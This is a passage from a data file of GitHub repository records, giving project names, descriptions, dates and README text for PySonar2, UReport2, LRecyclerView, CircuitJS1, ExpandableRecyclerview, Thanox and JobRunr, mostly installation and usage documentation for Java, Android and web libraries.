-jar target/pysonar-<version>.jar /usr/lib/python2.7 ./html This may take a few minutes depending on your machine. You should find some interactive HTML files inside the _html_ directory after this process. You can move your mouse on the variables and click on them to jump to definitions etc. Note that this is just a simple demo program based on the library. PySonar2 is not meant to be an end-user tool. It is mainly designed as a library for Python IDEs, developer tools and code search engines, so its interface may not be as appealing as an end-user tool. If you have problems with it, please feel free to contact me. ### System requirements * Python 2.7.x * Python 3.x * Java 8+ * maven ### Environment variables PySonar2 uses CPython's built-in `ast` package to parse Python code, so please make sure you have `python` or `python3` installed and pointed to by the `PATH` environment variable. If you have them in different names, please make symbol links. `PYTHONPATH` environment variable is used for locating the Python standard libraries. It is important to point it to the correct Python library, for example export PYTHONPATH=/usr/lib/python2.7 If this is not set up correctly, references to library code will not be found. ### Contribute You are welcome to make code contributions. Because of the highly complex and unpublished theory behind PySonar2, things may go wrong easily with even an innocent-looking change. If you hope to contribute to PySonar2, please discuss with me first before making significant changes, otherwise I may not be able to review your changes. For basic verification, you can run the unit tests. PySonar2 has a basic test framework. You can run the tests using this command: mvn test If you modify the code or tests, you need to generate new expected results. Run these command lines: mvn package -DskipTests java -classpath target/pysonar-<version>.jar org.yinwang.pysonar.TestInference -generate tests To write new tests, you just need to write relevant Python code demonstrating your change, put them into a directory named `tests/testname.test`(test directory name must end with ".test"). Please look at the `tests` directory for examples. Please don't expect the tests to catch all bugs. Be very careful :) ### License Apache 2.0 License. See LICENSE file.
0
youseries/ureport
UReport2 is a high-performance pure Java report engine based on Spring architecture, where complex Chinese-style statements and reports can be prepared by iterating over cells.
2017-06-05T07:48:31Z
null
# Overview UReport2 is a high-performance pure Java report engine based on Spring architecture, where complex Chinese-style statements and reports can be prepared by iteraing over cells. UReport2 provides the brand new web-based report designer that runs in mainstream browsers including Chrome, Firefox and Edge etc. \(other than IE\). You can complete the design and preparation of complex statements and reports with UReport2 by simply opening the browser. UReport2 is the first Chinese-style report engine based on Apache-2.0 License. [中文 README](README-zh_CN.md) # Teaching video [http://pan.baidu.com/s/1boWTxF5](http://pan.baidu.com/s/1boWTxF5),password:98hj # Installation and Configuration UReport2 is a pure Java report engine, so it supports all current popular types of J2EE projects. Here we will mainly introduce how Maven-based J2EE projects incorporate UReport2. ### Maven-based UReport2 project Firstly, we need to create a standard Maven project \(create a project with Eclipse or other tools, while no more details are introduced here\), then open the file pom.xml of Maven, and add the dependence information of UReport2, as shown below: ``` <dependency> <groupId>com.bstek.ureport</groupId> <artifactId>ureport2-console</artifactId> <version>[version]</version> </dependency> ``` Within the above dependence information, \[version\] indicates the specific version No. of the ureport2-console package. We can search the keyword “ureport2-c onsole” at [http://search.maven.org/](http://search.maven.org/) to check the specific version No. of the package. The latest source code can be downloaded from [https://github.com/youseries/ureport](https://github.com/youseries/ureport). It shall be noted that only the latest release version can be found at [http://search.maven.org/](http://search.maven.org/). If you need the latest snapshot, you can search at [https://oss.so](https://oss.so) natype.org/. Pursuant to regulations on sonatype, only the official version can be published on [http://search.maven.org/](http://search.maven.org/), i.e. the central repository of mave, and the snapshot version only exists in [https://oss.sonatype.org/](https://oss.sonatype.org/). If we want to apply the latest snapshot at [https://oss.sonatype.org/](https://oss.sonatype.org/), we need to add repository information in pom.xml, to tell Maven to download the package of snapshot version there. The repository information is listed below: ``` <repository> <id>sonatype</id> <url>https://oss.sonatype.org/content/groups/public/</url> </repository> ``` Then, we need to configure the servlet that will be used by UReport2. Open the web.xml file in the project and add the following servlet configuration: ``` <servlet> <servlet-name>ureportServlet</servlet-name> <servlet-class>com.bstek.ureport.console.UReportServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>ureportServlet</servlet-name> <url-pattern>/ureport/*</url-pattern> </servlet-mapping> ``` In the servlet configuratin, the url-pattern shall keep the fixed value of “/ureport/\*” from any change, otherwise the system will fail. As UReport2 is built based on the framework of spring, the last step of configuration shall be loading the spring configuration file of UReport2 in the project. Several ways are available to load the file, including opening web.xml, adding the listener provided by spring and directly loading the spring configuration file provided by UReport2, as shown below: ``` <listener> <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class> </listener> <context-param> <param-name>contextConfigLocation</param-name> <param-value>classpath:ureport-console-context.xml</param-value> </context-param> ``` If spring is not used in your project, you can apply the above configuration and directly load the spring configuration file provided by UReport2. If spring is used in your project or in other modules of the project, you can import the spring configuration file provided by UReport2 to the existing spring configuration file. The configuration is shown below: ``` <import resource="classpath:ureport-console-context.xml" /> ``` By now, we have added UReport2 in a standard Maven project. Run the project, and you can see the interface of UReport2 report designer by visiting URL:[http://localhost:8080/\[contextPath\]/ureport/designer](http://localhost:8080/[contextPath]/ureport/designer) in a browser.![](docs/images/dd.png)![](docs/images/designer.png)Links: * [Reports Storage and Configuration of the Data Source](docs/STORAGE-DATASOURCE.md) * [The introduction of the report calculation model](docs/REPORT-MODEL.md) * [Expression](docs/EXPRESSION.md) * Function * Condition attribute * Parameter * Combinnation with business * Row type * Adding blank line and paging * Load Pictures * Chromatography printing
0
jdsjlzx/LRecyclerView
RecyclerView下拉刷新,自动加载更多;仿IOS侧滑Item删除菜单(盼望大家扩展更多功能)
2016-05-19T10:12:08Z
null
# LRecyclerView LRecyclerView是支持addHeaderView、 addFooterView、下拉刷新、分页加载数据的RecyclerView。 **它对 RecyclerView 控件进行了拓展,给RecyclerView增加HeaderView、FooterView,并且不需要对你的Adapter做任何修改。** 推荐 ---------- [RxJava经典视频教程已经上线,戳我就可以看啦......](http://www.stay4it.com/course/27) ## 效果图 <div align="center"> <img src="https://raw.githubusercontent.com/jdsjlzx/LRecyclerView/master/art/art1.png" width=268 height=457 /> <img src="https://raw.githubusercontent.com/jdsjlzx/LRecyclerView/master/art/art2.png" width=268 height=457 /> <img src="https://raw.githubusercontent.com/jdsjlzx/LRecyclerView/master/art/art3.png" width=268 height=457 /> <img src="https://raw.githubusercontent.com/jdsjlzx/LRecyclerView/master/art/art4.png" width=268 height=457 /> <img src="https://raw.githubusercontent.com/jdsjlzx/LRecyclerView/master/art/art5.png" width=268 height=457 /> <img src="https://raw.githubusercontent.com/jdsjlzx/LRecyclerView/master/art/art7.png" width=268 height=457 /> <img src="https://raw.githubusercontent.com/jdsjlzx/LRecyclerView/master/art/art8.png" width=268 height=457 /> <img src="https://raw.githubusercontent.com/jdsjlzx/LRecyclerView/master/art/art9.png" width=268 height=457 /> </div> ## 实战项目 为了方便大家更好的在项目中使用LRecyclerView,这里提供一个项目demo,有需要可以参考下! github地址: https://github.com/jdsjlzx/Community <img src="https://github.com/jdsjlzx/Community/blob/master/pic/home.png" width=268 height=457 /> ## Gradle Step 1. 在你的根build.gradle文件中增加JitPack仓库依赖。 ```groovy allprojects { repositories { jcenter() maven { url "https://jitpack.io" } } } ``` Step 2. 在你的module的build.gradle文件中增加LRecyclerView依赖。 ```groovy implementation 'com.github.jdsjlzx:LRecyclerView:1.5.4.3' ``` LRecyclerView requires at minimum Java 7 or Android 4.0. ## JavaDoc https://jitpack.io/com/github/jdsjlzx/LRecyclerView/1.5.4.3/javadoc/ ##项目简述 1. 下拉刷新、滑动到底部自动加载下页数据; 2. 可以方便添加Header和Footer; 3. 头部下拉样式可以自定义; 4. 具备item点击和长按事件; 5. 网络错误加载失败点击Footer重新请求数据; 6. 可以动态为FooterView赋予不同状态(加载中、加载失败、滑到最底等); 7. 可以根据不同的viewtype自定义item视图; 8. 具备类似IOS侧滑删除菜单功能; 9. 完善的局部刷新效果; ### 注意: 1. EndlessLinearLayoutActivity.java类里面有标准完整的使用方法,请尽量在这个界面看效果; 2. 本着解耦的原则,能在demo中实现的就尽量不在libray中实现。 3. libray中的sdk版本都是最新版本,如果你不想处理申请权限的问题,可以在你本地的app的build.gradle中如下设置: ```groovy compileSdkVersion 25 buildToolsVersion '25.0.2' defaultConfig {        applicationId "com.github.jdsjlzx" minSdkVersion 14 targetSdkVersion 22 versionCode 4 versionName "0.5.3" } ``` targetSdkVersion设置为22即可。 ## Demo下载 [点我下载](https://raw.githubusercontent.com/jdsjlzx/LRecyclerView/master/app/app-release.apk) ## 功能介绍 ### 填充数据 ```java mDataAdapter = new DataAdapter(this); mDataAdapter.setData(dataList); mLRecyclerViewAdapter = new LRecyclerViewAdapter(mDataAdapter); mRecyclerView.setAdapter(mLRecyclerViewAdapter); ``` > 1. DataAdapter是用户自己真正的adapter,用户自己定义; 2. LRecyclerViewAdapter提供了一些实用的功能,使用者不用关心它的实现,只需构造的时候把自己的mDataAdapter以参数形式传进去即可。 ### 添加HeaderView、FooterView ```java //add a HeaderView mLRecyclerViewAdapter.addHeaderView(new SampleHeader(this)); //add a FooterView mLRecyclerViewAdapter.addFooterView(new SampleFooter(this)); ``` 添加HeaderView还可以使用下面两种方式: ```java View header = LayoutInflater.from(this).inflate(R.layout.sample_header,(ViewGroup)findViewById(android.R.id.content), false); mLRecyclerViewAdapter.addHeaderView(header); CommonHeader headerView = new CommonHeader(getActivity(), R.layout.layout_home_header); mLRecyclerViewAdapter.addHeaderView(headerView); ``` 上面的方式同样适用于FooterView。 ### 移除HeaderView、FooterView ```java //remove a HeaderView mLRecyclerViewAdapter.removeHeaderView(); //remove a FooterView mLRecyclerViewAdapter.removeFooterView(); ``` 注意: > 1.如果有两个以上的HeaderView,连续调用mLRecyclerViewAdapter.removeHeaderView()即可。 ### LScrollListener-滑动监听事件接口 LScrollListener实现了onScrollUp()、onScrollDown()、onScrolled、onScrollStateChanged四个事件,如下所示: ```java void onScrollUp();//scroll down to up void onScrollDown();//scroll from up to down void onScrolled(int distanceX, int distanceY);// moving state,you can get the move distance void onScrollStateChanged(int state); ``` - onScrollUp()——RecyclerView向上滑动的监听事件; - onScrollDown()——RecyclerView向下滑动的监听事件; - onScrolled()——RecyclerView正在滚动的监听事件; - onScrollStateChanged(int state)——RecyclerView正在滚动的监听事件; 使用: ```java mRecyclerView.setLScrollListener(new LRecyclerView.LScrollListener() { @Override public void onScrollUp() { } @Override public void onScrollDown() { } @Override public void onScrolled(int distanceX, int distanceY) { } @Override public void onScrollStateChanged(int state) { } }); ``` ### 下拉刷新 ```java mRecyclerView.setOnRefreshListener(new OnRefreshListener() { @Override public void onRefresh() { } }); ``` ### 加载更多 ```java mRecyclerView.setOnLoadMoreListener(new OnLoadMoreListener() { @Override public void onLoadMore() { } }); ``` ### 设置下拉刷新样式 ```java mRecyclerView.setRefreshProgressStyle(ProgressStyle.BallSpinFadeLoader); //设置下拉刷新Progress的样式 mRecyclerView.setArrowImageView(R.drawable.iconfont_downgrey); //设置下拉刷新箭头 ``` AVLoadingIndicatorView库有多少效果,LRecyclerView就支持多少下拉刷新效果,当然你也可以自定义下拉刷新效果。 效果图: ![这里写图片描述](http://img.blog.csdn.net/20160701173404897) ### 自定义下拉刷新View 1. 自定义view实现IRefreshHeader接口; 2. 调用LRecyclerView提供的setRefreshHeader(IRefreshHeader refreshHeader)即可。 ```java /** * 设置自定义的RefreshHeader */ public void setRefreshHeader(IRefreshHeader refreshHeader) { this.mRefreshHeader = refreshHeader; } ``` ### 设置下拉刷新Header和Footer文字内容和颜色 ```java //设置头部加载颜色 mRecyclerView.setHeaderViewColor(R.color.colorAccent, R.color.dark ,android.R.color.white); //设置底部加载颜色 mRecyclerView.setFooterViewColor(R.color.colorAccent, R.color.dark ,android.R.color.white); //设置底部加载文字提示 mRecyclerView.setFooterViewHint("拼命加载中","已经全部为你呈现了","网络不给力啊,点击再试一次吧"); ``` 记得设置ProgressStyle: ```java mRecyclerView.setRefreshProgressStyle(ProgressStyle.LineSpinFadeLoader); mRecyclerView.setLoadingMoreProgressStyle(ProgressStyle.BallSpinFadeLoader); ``` ### 开启和禁止下拉刷新功能 ```java mRecyclerView.setPullRefreshEnabled(true); ``` or ```java mRecyclerView.setPullRefreshEnabled(false); ``` 默认是开启。 ### 强制刷新 根据大家的反馈,增加了一个强制刷新的方法,使用如下: ```java mRecyclerView.forceToRefresh(); ``` **无论是下拉刷新还是强制刷新,刷新完成后调用下面代码:** ```java mRecyclerView.refreshComplete(pageSize); mLRecyclerViewAdapter.notifyDataSetChanged(); ``` ### 下拉刷新清空数据 有的时候,需要下拉的时候清空数据并更新UI,可以这么做: ```java @Override public void onRefresh() { mDataAdapter.clear();    mLRecyclerViewAdapter.notifyDataSetChanged();//必须调用此方法    mCurrentCounter = 0; requestData(); } ``` 如果不需要下拉的时候清空数据并更新UI,如下即可: ```java @Override public void onRefresh() { requestData(); } ``` ### 开启和禁止自动加载更多功能 ```java mRecyclerView.setLoadMoreEnabled(true); ``` or ```java mRecyclerView.setLoadMoreEnabled(false);; ``` 默认是开启。如果不需要自动加载更多功能(也就是不需要分页)手动设置为false即可。 ### 加载数据完成处理 ```java mDataAdapter.addAll(list); mRecyclerView.refreshComplete(REQUEST_COUNT);// REQUEST_COUNT为每页加载数量 ``` 如果没有更多数据(也就是全部加载完成),判断逻辑如下: ```java mRecyclerView.setOnLoadMoreListener(new OnLoadMoreListener() { @Override public void onLoadMore() {                if (mCurrentPage < totalPage) {                    // loading data                    requestData(); } else { mRecyclerView.setNoMore(true); } } }); ``` ### 去除底部的加载更多的view 如果你的逻辑是一次性加载所有的数据,那么可以如下设置: ```java mRecyclerView.setLoadMoreEnabled(false);; ``` mRecyclerView.setOnLoadMoreListener就不需要设置了. ### 加载数据网络异常处理 加载数据时如果网络异常或者断网,LRecyclerView为你提供了重新加载的机制。 效果图: ![这里写图片描述](https://raw.githubusercontent.com/cundong/HeaderAndFooterRecyclerView/master/art/art5.png) 网络异常出错代码处理如下: ``` mRecyclerView.setOnNetWorkErrorListener(new OnNetWorkErrorListener() { @Override public void reload() { requestData(); } }); ``` 上面的mFooterClick就是我们点击底部的Footer时的逻辑处理事件,很显然我们还是在这里做重新请求数据操作。 ### 点击事件和长按事件处理 先看下怎么使用: ```java mLRecyclerViewAdapter.setOnItemClickListener(new OnItemClickListener() { @Override public void onItemClick(View view, int position) { } }); mLRecyclerViewAdapter.setOnItemLongClickListener(new OnItemLongClickListener() { @Override public void onItemLongClick(View view, int position) { } }); ``` 原理就是实现viewHolder.itemView的点击和长按事件。由于代码过多就不贴出来了。 viewHolder源码如下: ```java public static abstract class ViewHolder { public final View itemView; int mPosition = NO_POSITION; int mOldPosition = NO_POSITION; long mItemId = NO_ID; int mItemViewType = INVALID_TYPE; int mPreLayoutPosition = NO_POSITION; ``` ### 设置空白View(setEmptyView) ```java mRecyclerView.setEmptyView(view); ``` 需要注意的是布局文件,如下所示: ```groovy <android.support.design.widget.CoordinatorLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:fitsSystemWindows="true" tools:context=".MainActivity"> <android.support.design.widget.AppBarLayout android:layout_width="match_parent" android:layout_height="wrap_content" android:theme="@style/AppTheme.AppBarOverlay"> <android.support.v7.widget.Toolbar android:id="@+id/toolbar" android:layout_width="match_parent" android:layout_height="?attr/actionBarSize" android:background="?attr/colorPrimary" app:popupTheme="@style/AppTheme.PopupOverlay"/> </android.support.design.widget.AppBarLayout> <com.github.jdsjlzx.recyclerview.LRecyclerView android:id="@+id/list" android:layout_width="fill_parent" android:layout_height="fill_parent" app:layout_behavior="@string/appbar_scrolling_view_behavior"/> <include android:id="@+id/empty_view" layout="@layout/layout_empty" android:visibility="gone"/> </android.support.design.widget.CoordinatorLayout> ``` ## 关于添加分割线 经过不断优化,LRecyclerView支持了ItemDecoration,使用如下所示: LinearLayoutManager布局设置如下: ```java DividerDecoration divider = new DividerDecoration.Builder(this,mLRecyclerViewAdapter) .setHeight(R.dimen.default_divider_height) .setPadding(R.dimen.default_divider_padding) .setColorResource(R.color.split) .build(); mRecyclerView.addItemDecoration(divider); ``` GridLayoutManager布局设置如下: ```java int spacing = getResources().getDimensionPixelSize(R.dimen.dp_4); mRecyclerView.addItemDecoration(SpacesItemDecoration.newInstance(spacing, spacing, manager.getSpanCount(), Color.GRAY)); //根据需要选择使用GridItemDecoration还是SpacesItemDecoration GridItemDecoration divider = new GridItemDecoration.Builder(this) .setHorizontal(R.dimen.default_divider_padding) .setVertical(R.dimen.default_divider_padding) .setColorResource(R.color.split) .build(); //mRecyclerView.addItemDecoration(divider); ``` 根据需要选择使用GridItemDecoration还是SpacesItemDecoration,SpacesItemDecoration(支持多类型布局) 同样的,LuRecyclerView也支持了ItemDecoration,只是命名稍微不同(类名以Lu开头,如LuGridItemDecoration、LuSpacesItemDecoration) ## 滑动删除 效果图: <img src="https://camo.githubusercontent.com/d2257cad7e4b932cd57969e1ce65181b7b7b1f70/687474703a2f2f6e6f74652e796f7564616f2e636f6d2f7977732f7075626c69632f7265736f757263652f62626336396331653035356362333335643031633737326531646164623063312f786d6c6e6f74652f44463646324336353038433234364330393331383037464333313332353737452f3130323635" width=268 height=457 /> ## 分组 效果图: ![这里写图片描述](https://github.com/jdsjlzx/LRecyclerView/blob/master/art/art6.gif) 功能还在完善中.... ## PullScrollView、PullWebView也有实现,为了解耦,这两个类都放在了demo中,有需要的可以自己修改使用! ## 代码混淆 ```java #LRecyclerview -dontwarn com.github.jdsjlzx.** -keep class com.github.jdsjlzx.progressindicator.indicators.** { *; } ``` 如果你想了解更多混淆配置,参考:http://blog.csdn.net/jdsjlzx/article/details/51861460 ## 注意事项 1.如果添加了footerview,不要再使用setLScrollListener方法,如有需要,自定义实现即可。如下面代码不要同时使用: ```java mRecyclerView.setLScrollListener(LScrollListener); mLRecyclerViewAdapter.addFooterView(new SampleFooter(this)); ``` 2.不要SwipeRefreshLayout与LRecyclerView一起使用,会有冲突,为了更好的满足广大用户,新增了LuRecyclerView类,可以与SwipeRefreshLayout搭配使用,详细请参考SwipeRefreshLayoutActivity类的实现。 3.关于RecyclerView自动滑动的问题 这个自动滑动归根结底是焦点问题,子item有焦点,导致RecyclerView自动滑动到了子item,在根布局上加了android:descendantFocusability="blocksDescendants",根view来处理焦点,不传给子view就能解决问题。 4.关于LRecyclerView嵌套RecyclerView滑动卡顿的问题 可以参考:https://github.com/jdsjlzx/LRecyclerView/issues/165 ## LRecyclerView的应用 效果图: <img src="https://github.com/jdsjlzx/Community/blob/master/pic/home.png" width=268 height=457 /> 代码详见:https://github.com/jdsjlzx/Community ## Thanks 1.[SwipeDelMenuViewGroup](https://github.com/mcxtzhang/SwipeDelMenuViewGroup) ## 问题反馈 QQ交流群1:183899857 QQ交流群2:250468947 ## 打赏 觉得本框架对你有帮助,不妨打赏赞助我一下,让我有动力走的更远。 <img src="https://raw.githubusercontent.com/jdsjlzx/LRecyclerView/master/art/wechat.png" width=280 height=280 /> 支付宝<br><br> <img src="https://raw.githubusercontent.com/jdsjlzx/LRecyclerView/master/art/alipay.jpg" width=280 height=329 />
0
sharpie7/circuitjs1
Electronic Circuit Simulator in the Browser
2015-06-15T02:11:14Z
null
# CircuitJS1 ## Introduction CircuitJS1 is an electronic circuit simulator that runs in the browser. It was originally written by Paul Falstad as a Java Applet. It was adapted by Iain Sharp to run in the browser using GWT. For a hosted version of the application see: * Paul's Page: [http://www.falstad.com/circuit/](http://www.falstad.com/circuit/) * Iain's Page: [http://lushprojects.com/circuitjs/](http://lushprojects.com/circuitjs/) Thanks to: Edward Calver for 15 new components and other improvements; Rodrigo Hausen for file import/export and many other UI improvements; J. Mike Rollins for the Zener diode code; Julius Schmidt for the spark gap code and some examples; Dustin Soodak for help with the user interface improvements; Jacob Calvert for the T Flip Flop; Ben Hayden for scope spectrum; Thomas Reitinger, Krystian Sławiński, Usevalad Khatkevich, Lucio Sciamanna, Mauro Hemerly Gazzani, J. Miguel Silva, and Franck Viard for translations; Andre Adrian for improved emitter coupled oscillator; Felthry for many examples; Colin Howell for code improvements. LZString (c) 2013 pieroxy. ## Building the web application The tools you will need to build the project are: * Eclipse, Oxygen version. * GWT plugin for Eclipse. Install "Eclipse for Java developers" from [here](https://www.eclipse.org/downloads/packages/). To add the GWT plugin for Eclipse follow the instructions [here](https://gwt-plugins.github.io/documentation/gwt-eclipse-plugin/Download.html). This repository is a project folder for your Eclipse project space. Once you have a local copy you can then build and run in development mode or build for deployment. Running in super development mode is done by clicking on the "run" icon on the toolbar and choosing http://127.0.0.1:8888/circuitjs.html from the "Development Mode" tab which appears. Building for deployment is done by selecting the project root node and using the GWT button on the Eclipse taskbar and choosing "GWT Compile Project...". GWT will build its output in to the "war" directory. In the "war" directory the file "iframe.html" is loaded as an iFrame in to the spare space at the bottom of the right hand pannel. It can be used for branding etc. ## Deployment of the web application * "GWT Compile Project..." as explained above. This will put the outputs in to the "war" directory in the Eclipse project folder. You then need to copy everything in the "war" directory, except the "WEB-INF" directory, on to your web server. * Customize the header of the file "circuitjs1.html" to include your tracking, favicon etc. * Customize the "iframe.html" file to include any branding you want in the right hand panel of the application * The optional file "shortrelay.php" is a server-side script to act as a relay to a URL shortening service to avoid cross-origin problems with a purely client solution. You may want to customize this for your site. If you don't want to use this feature edit the circuitjs1.java file before compiling. * If you wish to enable dropbox loading and saving a dropbox API app-key is needed. This should be edited in to the circuitjs.html file where needed. If this is not included the relevant features will be disabled. The link for the full-page version of the application is now: `http://<your host>/<your path>/circuitjs1.html` (you can rename the "circuitjs1.html" file if you want too though you should also update "shortrelay.php" if you do). Just for reference the files should look like this ``` -+ Directory containing the front page (eg "circuitjs") +- circuitjs.html - full page version of application +- iframe.html - see notes above +- shortrelay.php - see notes above ++ circuitjs1 (directory) +- various files built by GWT +- circuits (directory, containing example circuits) +- setuplist.txt (index in to example circuit directory) ``` ## Embedding You can link to the full page version of the application using the link shown above. If you want to embed the application in another page then use an iframe with the src being the full-page version. You can add query parameters to link to change the applications startup behaviour. The following are supported: ``` .../circuitjs.html?cct=<string> // Load the circuit from the URL (like the # in the Java version) .../circuitjs.html?ctz=<string> // Load the circuit from compressed data in the URL .../circuitjs.html?startCircuit=<filename> // Loads the circuit named "filename" from the "Circuits" directory .../circuitjs.html?startCircuitLink=<URL> // Loads the circuit from the specified URL. CURRENTLY THE URL MUST BE A DROPBOX SHARED FILE OR ANOTHER URL THAT SUPPORTS CORS ACCESS FROM THE CLIENT .../circuitjs.html?euroResistors=true // Set to true to force "Euro" style resistors. If not specified the resistor style will be based on the user's browser's language preferences .../circuitjs.html?usResistors=true // Set to true to force "US" style resistors. If not specified the resistor style will be based on the user's browser's language preferences .../circuitjs.html?whiteBackground=<true|false> .../circuitjs.html?conventionalCurrent=<true|false> .../circuitjs.html?running=<true|false> // Start the app without the simulation running, default true .../circuitjs.html?hideSidebar=<true|false> // Hide the sidebar, default false .../circuitjs.html?hideMenu=<true|false> // Hide the menu, default false .../circuitjs.html?editable=<true|false> // Allow circuit editing, default true .../circuitjs.html?positiveColor=%2300ff00 // change positive voltage color (rrggbb) .../circuitjs.html?negativeColor=%23ff0000 // change negative voltage color .../circuitjs.html?hideInfoBox=<true|false> ``` ## Building an Electron application The [Electron](https://electronjs.org/) project allows web applications to be distributed as local executables for a variety of platforms. This repository contains the additional files needed to build circuitJS1 as an Electron application. The general approach to building an Electron application for a particular platform is documented [here](https://electronjs.org/docs/tutorial/application-distribution). The following instructions apply this approach to circuit JS. To build the Electron application: * Compile the application using GWT, as above. * Download and unpack a [pre-built Electron binary directory](https://github.com/electron/electron/releases) version 9.3.2 for the target platform. * Copy the "app" directory from this repository to the location specified [here](https://electronjs.org/docs/tutorial/application-distribution) in the Electron binary directory structure. * Copy the "war" directory, containing the compiled CircuitJS1 application, in to the "app" directory the Electron binary directory structure. * Run the "Electron" executable file. It should automatically load CircuitJS1. Known limitations of the Electron application: * "Create short URL" on "Export as URL" doesn't work as it relies on server support. * For diodes, "Create Simple Model" doesn't work as it relies on a javascript feature that is not supported. Thanks to @Immortalin for the initial work in applying Electron to CircuitJS1. ## License This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
0
zaihuishou/ExpandableRecyclerview
An ExpandableRecycleradapter with Recyclerview
2016-07-11T02:05:39Z
null
# ExpandableRecyclerview An ExpandableRecycleradapter with Recyclerview #Screenshots ![effict](/sample-screen.gif) [![Android Arsenal](https://img.shields.io/badge/Android%20Arsenal-ExpandableRecyclerview-green.svg?style=true)](https://android-arsenal.com/details/1/3903) ##Gradle ``` compile 'com.zaihuishou:expandablerecycleradapter:1.0.3' ``` ##Maven ``` <dependency> <groupId>com.zaihuishou</groupId> <artifactId>expandablerecycleradapter</artifactId> <version>1.0.3</version> <type>pom</type> </dependency> ``` #How to use * Expandable item:</br> data model class must `implement` [ExpandableListItem](https://github.com/zaihuishou/ExpandableRecyclerview/blob/master/expandablerecycleradapter/src/main/java/com/zaihuishou/expandablerecycleradapter/model/ExpandableListItem.java),and viewholder class must `extend` [AbstractExpandableAdapterItem](https://github.com/zaihuishou/ExpandableRecyclerview/blob/master/expandablerecycleradapter/src/main/java/com/zaihuishou/expandablerecycleradapter/viewholder/AbstractExpandableAdapterItem.java) example:`public class Company implements ExpandableListItem` and `public class CompanyItem AbstractExpandableAdapterItem` * Normal item</br> viewholder `extend` [AbstractAdapterItem](https://github.com/zaihuishou/ExpandableRecyclerview/blob/master/expandablerecycleradapter/src/main/java/com/zaihuishou/expandablerecycleradapter/viewholder/AbstractAdapterItem.java)</br> example:`public class EmployeeItem extends AbstractAdapterItem` * Implement [BaseExpandableAdapter](https://github.com/zaihuishou/ExpandableRecyclerview/blob/master/expandablerecycleradapter/src/main/java/com/zaihuishou/expandablerecycleradapter/adapter/BaseExpandableAdapter.java) ``` mBaseExpandableAdapter = new BaseExpandableAdapter(mCompanylist) { @NonNull @Override public AbstractAdapterItem<Object> getItemView(Object type) { return null; } @Override public Object getItemViewType(Object t) { return -1; } }; ``` * For all details, please check demo #Databinding Use * If you want to use this with databinding,please check [ExpandableRecyclerview-Databinding](https://github.com/zaihuishou/ExpandableRecyclerview-Databinding) #Thanks * [bignerdranch/expandable-recycler-view](https://github.com/bignerdranch/expandable-recycler-view) * [zaihuishou/RcvAdapter](https://github.com/zaihuishou/RcvAdapter) ##License ``` Copyright 2016 zaihuishou Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS,WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either expressor implied.See the License for the specific language governing permissions and limitations under the License. ```
0
Tornaco/Thanox
I am thanos! 😈 👌
2019-12-14T11:54:54Z
null
[![CircleCI](https://circleci.com/gh/Tornaco/Thanox/tree/master.svg?style=svg)](https://circleci.com/gh/Tornaco/Thanox/tree/master) [![Channel](https://img.shields.io/badge/Follow-Telegram-blue.svg?logo=telegram)](https://t.me/thanox_mod) [![Download](https://img.shields.io/github/downloads/tornaco/thanox/total)](https://github.com/Tornaco/Thanox/releases) [![Size](https://img.shields.io/github/languages/code-size/tornaco/thanox)](https://github.com/Tornaco/Thanox) ## Thanox **Thanox**的名字灵感来自(The name of **Thanox** is inspired by) [Thanos😈](https://en.wikipedia.org/wiki/Thanos) + [Xposed🧩](https://en.wikipedia.org/wiki/Xposed) ## 文档 (Documents) [介绍与教程 (Intro & Guide)](https://tornaco.github.io/Thanox-Docs/)
0
jobrunr/jobrunr
An extremely easy way to perform background processing in Java. Backed by persistent storage. Open and free for commercial use.
2020-04-02T17:34:11Z
null
<p align="center"> <a href="https://www.jobrunr.io/en/" target="_blank"><img src="https://user-images.githubusercontent.com/567842/80095933-1181c900-8569-11ea-85e7-14129b3f8142.png" alt="JobRunr logo"></img></a> </p> <p align="center"> The ultimate library to perform background processing on the JVM.<br/> Dead simple API. Extensible. Reliable. <br/> Distributed and backed by persistent storage. <br/> Open and free for commercial use. </p> <br/> <p align="center"> <a href="https://search.maven.org/artifact/org.jobrunr/jobrunr"><img src="https://maven-badges.herokuapp.com/maven-central/org.jobrunr/jobrunr/badge.svg"></a>&nbsp; <img alt="Drone Build" src="https://build.jobrunr.io/api/badges/jobrunr/jobrunr/status.svg" />&nbsp; <a href="https://www.bestpractices.dev/projects/7376"><img alt="OpenSSF Best Practices" src="https://www.bestpractices.dev/projects/7376/badge"/></a>&nbsp; <img alt="LGPLv3 Licence" src="https://img.shields.io/badge/license-LGPLv3-green.svg" /><br/> <a href="https://sonarcloud.io/dashboard?id=jobrunr_jobrunr"><img alt="Quality Scale" src="https://sonarcloud.io/api/project_badges/measure?project=jobrunr_jobrunr&metric=sqale_rating" /></a>&nbsp; <a href="https://sonarcloud.io/dashboard?id=jobrunr_jobrunr"><img alt="Vulnerabilities" src="https://sonarcloud.io/api/project_badges/measure?project=jobrunr_jobrunr&metric=vulnerabilities" /></a>&nbsp; <a href="https://sonarcloud.io/dashboard?id=jobrunr_jobrunr"><img alt="Security Rating" src="https://sonarcloud.io/api/project_badges/measure?project=jobrunr_jobrunr&metric=security_rating" /></a><br/> <!--a href="https://sonarcloud.io/dashboard?id=jobrunr_jobrunr"><img alt="Coverage" src="https://sonarcloud.io/api/project_badges/measure?project=jobrunr_jobrunr&metric=coverage" /></a>&nbsp; <a href="https://sonarcloud.io/dashboard?id=jobrunr_jobrunr"><img alt="Reliability Rating" src="https://sonarcloud.io/api/project_badges/measure?project=jobrunr_jobrunr&metric=reliability_rating" /></a>&nbsp; <a href="https://sonarcloud.io/dashboard?id=jobrunr_jobrunr"><img alt="Bugs" 